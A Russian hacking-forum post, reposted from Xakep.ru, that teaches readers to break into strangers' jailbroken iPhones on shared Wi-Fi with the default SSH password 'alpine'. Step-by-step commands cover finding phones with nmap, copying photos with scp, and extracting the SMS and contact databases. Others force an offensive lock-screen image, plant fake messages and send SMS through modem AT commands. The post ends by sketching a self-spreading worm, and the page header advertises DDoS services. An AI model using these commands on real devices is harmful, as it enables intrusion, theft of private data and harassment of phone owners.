Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor
Rutor


[ DDos Услуги. DDos атака. Заказать ДДос ]


Взлом Iphone


  • Авторизуйтесь для ответа в теме
В этой теме нет ответов

#1
Brab

Brab

    Байт

  • Members
  • Pip
  • 50 сообщений
Многие относятся к iPhone как к телефону для блондинок. Он, и правда, нравится блондинкам, но работает при этом под управлением абсолютно полноценной Unix-операционки. Мобильная OS X изготавливается из настольной Mac OS X, которая, в свою очередь, является современной версией системы BSD-семейства NeXTSTEP, увидевшей свет за пять лет до ядра Linux  в 1986 году.Инженеры Apple удалили из операционки iPhone почти все консольные утилиты, однако при установке OpenSSH на взломанный iPhoneтребуется поставить еще и пакет с BSD-окружением, так что тебя встретит компания старых друзей: от curl, scp и zsh до tar, bzip2 и gunizp. Как и в любой Unix-системе, в мобильной Mac OS X есть суперпользователь с именем root и паролем, которым чаще всего по умолчанию является
строка «alpine».Шесть букв в одном регистре  обычно плохая идея для пароля root, но в обычном, не взломанном, iPhone вводить этот пароль некому и некуда. Он мог бы быть любым, и ничего бы не изменилось.
В России, разумеется, все iPhone взломаны, и на большинстве этих взломанных телефонов установлен OpenSSH  как единственный способ получить доступ к файловой системе. Когда-то это было стандартным этапом взлома и активации.
Таким образом, мы получаем очень забавную картину: почти к любому айфону в России можно удаленно подключиться по ssh с дефолтовой записью root:alpine и получить неограниченные возможности в управлении.
Заставить телефон звонить и отправлять SMS  легко. Украсть базу с SMS,записную книжку, фотографии  еще проще. Вообще, можно сделать все,что угодно.
Обнаружение
Практическую часть экспериментов мы начнем с этапа, который называется «обнаружение». Ведь нужно знать, куда подключаться: к какому ip-адресу. Вообще говоря, у iPhone два сетевых интерфейса: Wi-Fi(en0, согласно ifconfig) и GPRS (PPP-интерфейс ip1, согласно тому же
ifconfig). Для взлома лучше взаимодействовать с телефоном по Wi-Fi:GPRS пролегает по территории сотового провайдера и, к тому же, это очень медленный протокол. Между тем, времени для взлома обычно немного  iPhone любит поспать, и в режиме ожидания (standby mode) практически все процессы (твоя ssh-сессия, запущенный тобой процесс, даже запланированные по cron процессы) ставятся на паузу и возобновляются только после того, как владелец достанет телефон из кармана и разбудит его. Батарейку это экономит, а нервы может подсадить.Можно придумать схему со сканированием всего доступного IP-диапазона какого-нибудь сотового провайдера или с
регистрацией IP-адресов пользователей MobileSafari, зашедших на специально заведенный сайт  но все это лучше отложить на скучные зимние вечера. Куда быстрее и веселее увидеть человека,задумчиво гладящего на экран своего телефона в офисе или кафе с открытой WiFi-сетью.
Обнаружить iPhone с помощью nmap  элементарно. Запусти сканирование стандартным образом (например, nmap -O 10.0.0.*) и увидишь в списке прочих хостов вот такие записи:
Not shown: 1714 closed ports
PORT STATE SERVICE
22/tcp open ssh
MAC Address: XX:XX:XX:XX:XX:XX (Apple)
Device type: phone|media device
Running: Apple embedded
OS details: Apple iPhone mobile phone or
iPod Touch audio player (Darwin 9.0.0d1)
Конечно, сканировать всю подсеть с ключом -O  долго и утомительно. Правильнее было бы пройтись по ней без ключа -O и только потом определить ОС на хостах с открытым 22#ым
портом. Но и это не самый рациональный способ. На взломанном iPhone запущен не только sshd, но и mDNSResponder (Zeroconf от Apple). То есть при входе в сеть iPhone оповещает всех присутствующих о том, какие сервисы он предоставляет. Достаточно запустить, к примеру, SFTP-клиент с поддержкой Bonjour (допустим, Cyberduck под Mac OS X), и он известит тебя о появлении нового хоста в сети. Более того, mDNSResponder доступен в виде исходников, портирован на Linux и на Windows, и его легко использовать для автоматизации процесса поиска и проверки всех появившихся в сети телефонов.
Еще о системе
В мобильной OS X два пользователя (не считая nobody и unknown): root (это ты) и mobile (это владелец телефона). Файловая система телефона разделена на две части. Папка /var/mobile , содержащая данные пользователя, отделена от остальной системы (сделано для того, чтобы после обновления прошивки не нужно было заново заливать на iPhone адресную книгу, музыку и так далее).
Как в любой приличной UNIX ОС, в OS X все  либо файл, либо папка. Самые важные для тебя папки  Library (в них хранятся персональные данные и настройки) и Media (в них хранятся картинки, музыка и видео). В корне файловой системы (помимо стандартных etc, usr, dev и т.д) ты найдешь папки System,Library и Applications . Внутри папки System находится еще одна папка Library . Другая папка Library принадлежит пользователю mobile ( /var/mobile/Library ). В настольной Mac OS X положение папки Library определяет ее значимость  в /System/Library свои данные хранят системные приложения, в /Library хранятся данные пользовательских приложений, общие для всей системы, а в ~/Library  личные данные пользователя. То же относится и к мобильной OS X. Поэтому большинство интересных вещей (настройки,базы sms и почтовые базы) ты найдешь в папке /var/mobile/Library/ , а ключи доверенных WiFi-сетей  в /Library .
Итак, теперь ты знаешь, где искать полезные данные, но как они выглядят? Данные в мобильной OS X могут лежать внавалку, храниться в файлах .plist или базах SQLite .
Внавалку
Хотя параноики из Apple предпочитают записывать все в отдельные базы данных, кое-что валяется на диске iPhone просто так. Например, сделанные встроенной камерой снимки лежат в /var/mobile/Media/DCIM . Если хочешь их быстро украсть (надежда на домашнее порно жива и будет жить всегда)  воспользуйся утилитой scp: scp -r root@iPhone.local.:/var/mobile/Media/DCIM Человек подарил тебе надежду на домашнее порно  подари ему что-нибудь взамен, сделай его жизнь немножечко лучше. Картинка, которую он использует в качестве фона, хранится в файле /var/mobile/Library/LockBackground.jpg . Неважно, выбрана ли она системных картинок, залита с компьютера или снята встроенной камерой  она будет скопирована в это место и уменьшена до 320х480 пикселей. Размер важен  если картинка будет больше или меньше, она не будет масштабироваться. В жизни каждого должна быть минутка для goatse. Скопируй заранее подготовленную картину на место
указанной (например, curl ]]>http://goatse.cx/hello.jpg]]> -o /var/mobile/Library/LockBackground.jpg ), закрепи (чтобы растянуть удовольствие): chmod -w /var/ mobile/Library/LockBackground.jpg и перезапусти SpringBoard (killall SpringBoard). Теперь владелец iPhone будет постоянно видеть (без вариантов!) одну из старейших реликвий интернета. Настройки мобильной OS X  яркость, мелодия звонка, время срабатывания будильников и прочее  хранятся, как и в настольной Mac OS X, в файлах plist. Файлы plist бывают двух видов  текстовые и бинарные. Текстовые, разумеется, можно
править любым текстовым редактором (это простой, легко читаемый XML); бинарные надо конвертировать в текстовые, а потом обратно. В мобильной OS X используются оба типа системные настройки хранятся в текстовом виде, пользовательские  в бинарном.
Конвертируются плисты с помощью утилиты plutil.Если ты пользуешься Mac OS X, она у тебя уже есть, если нет  скачай. Существуют версии и для Linux, и для Windows. Команда plutil -convert преобразует файл из бинарного в текстовый и обратно; после plutil - convert xml1 ты сможешь править файл, после plutil -convert binary1  скопировать его обратно. Еще лучше пропихнуть на iPhone собранную Эрикой Садун версию plutil для мобильной OS X  она может исправлять различные параметры прямо из командной строки, без конвертации.
Например, в файле /var/mobile/Library/Prefences/com.apple.springboard.plist (после конвертации в
XML) содержится подобный ключ: ringtone system:Motorcycle
Эта настройка определяет общую мелодию звонка. Значение в может быть одним из следующих:
1) (рингтон по умолчанию, называется Marimba);
2) system:название рингтона (рингтон из поставляемых с системой, они содержатся в папке /Library/Ringtones ; приведенный выше рингтон  это файл /Library/Ringtones/Motorcycle.m4a );
3) itunes:цифро-буквенный код (залитый пользователем рингтон, содержащийся в /var/mobile/
Media/iTunes_Control/Ringtones ; код здесь не имя файла, а идентификатор из какой-то базы данных).
Изменив этот ключ, ты сможешь изменить используемыйрингтон. Самый надежный способ  заменить все системные рингтоны своим (контейнер  MPEG-4, кодек  ААС, длительность  не больше 40 секунд, расширение  .m4r).Чтобы изменить значение ключа ringtone, либо сконвертируй
com.apple.springboard.plist в текст, измени его вручную и сохрани, либо, используя утилиту Эрики, отдай команду: plutil -s ringtone -v "system:Sonar" /var/
mobile/Library/Preferences/com.apple.springboard.plist По тому же принципу можно изменить любые настройки мобильной OS X. За год существования iPhone они были прекрасно документированы, а то, что ты не найдешь в Google, за тебя найдет grep. sqlite Наконец, в маленьких уютненьких базочках SQLite хранятся замечательные вещи  база SMS, адресная книжка и многое
другое. База SMS лежит тут  /var/mobile/Library/ SMS/sms.db, адресная книга тут  /var/mobile/
Library/AddressBook.sqlitedb . Скопировав их на свою машину, ты сможешь разобраться в структуре и содержимом с помощью утилиты sqlite3 (у пользователей Mac OS X она есть сразу, у пользователей Linux и Windows тоже не будет особых проблем).
Утилита может выполнять твои желания интерактивно или прямо из командной строки. Если ты вызовешь ее с SQL-запросом, она исполнит его и выйдет. Если без  она вернет тебе приглашение и будет ждать других запросов и команд. Самые интересные таблицы  таблица messages в sms.db и табли-ца ABPerson в AddressBook.sqlitedb. Ты можешь читать, парсить и изменять эти базы, более того  Эрика и ее портировала на iPhone (к вопросу о силе open source). Не забудь сделать резервную копию для себя
мало ли для чего может пригодиться база чужих SMS и адресная книга с работающими телефонами и электронными адресами. И, конечно, используй sqlite3 в целях мира во всем мире: sqlite3 sms.db "INSERT INTO messages VALUES(0, ' 0000000', 1354321900, ' МЫ ЛЮДИ БУДУЩЕГО НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР',1,0,NULL,0,0,0,0,0)
" Пускай человек внезапно обнаружит в своей базе послание из будущего (1 декабря 2012 года в 00:31:40 по Гринвичу  третье поле в таблице содержит дату в эпохе). AT OM FG!
Это же телефон, черт возьми! Музыка музыкой, картинки картинками, но главная задача сотового телефона  сотовая связь. Вообще, модем в сотовом телефоне (в iPhone это /dev/tty.baseband ) обычно недоступен  на нем висит коммуникационный процесс, ожидающий поступления звонков и сообщений. Но у нас есть лазейка  /dev/tty.debug . Чтобы поговорить с модемом, можно использовать mincom (он часть пакета с BSD-окружением). Его потребуется настроить (minicom -s), так как по
умолчанию он пытается соединиться с /dev/modem . Но если ты торопишься, создай симлинк -ln/dev/tty.baseband /dev/modem (симлинки на телефоне  это очень круто).
Теперь запусти minicom и начинай отдавать AT-команды. К примеру, команда AT CBC, сообщит тебе об уровне заряда батарейки: AT CBC CBC: 0,65 OK
Батарейка заряжена на 65%, и еще на какое-то время ее хватит. Теперь можно позвонить, отправить sms или подключить какую-нибудь хорошую услугу. Давай отправим sms  это меньшее, что мы можем сделать после того, как прочитали все имеющиеся. AT CMGF=1 // Модем переключается в текстовый режим (0  голос, 1  текст) и возвращает OK. AT CMGW= 712345678 // Здесь начинается, собственно, сообщение. Номер абонента  часть команды. Модем вернет приглашение ввести текст
сообщения. > Welcome... to the world of tomorrow! // Сообщение кончится, когда модем получит EOF  теперь оно будет записано в память. Модем вернет OK и CMGW: N, где N  индекс сообщения в памяти модема. AT CMSS=N // Отправка сообщения, индекс которого  N, вернет OK, если сообщение успешно отправлено.
Список AT-команд не менялся уже много лет. Используя их, ты сможешь отправлять SMS, набирать телефонные номера и изучать свойства аппаратной части iPhone. Для того чтобы отдавать AT-команды прямо из командной строки, было написано несколько утилит. Например, команда iPhone Elite выпустила утилиту sendmodem. Протолкнув sendmodem на iPhone, ты сможешь использовать
ее саму по себе или в скриптах. Исходный код утилиты  прекрасный пример того, как отдавать AT-команды программно.
Перспективы
Как видишь, даже без особой подготовки можно найти и поюзать iPhone, получив при этом огромное удовольствие. А если ты подготовишься, то сможешь сделать куда больше. Писать для iPhone не сложнее, чем для любой другой UNIX OS и значительно проще, чем для любого другого сотового телефона. Бесполезно помещать на iPhone Java-утилитки  ему требуется суровый мужской С.
Несмотря на возражения Apple, за год вокруг iPhone сложилось огромное девелоперское сообщество, и ты легко найдешь подробные инструкции по кросс-компиляции, мануалы и описания библиотек, узнаешь  как бороться с standby mode, перехватывать управление модемом и так далее. Представь себе маленькую утилитку, обнаруживающую другие телефоны по Bonjour, логиняющуюся по ssh с паролем alpine и оставляющую на них свою копию. Или утилитку, отправляющую sms (с вежливым приветствием всем людям в адресной книге  можно было бы обойтись 10-15 строчками кода). В общем, iPhone  действительно революционное устройство.

ИСТОЧНИК XAKEP.RU


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных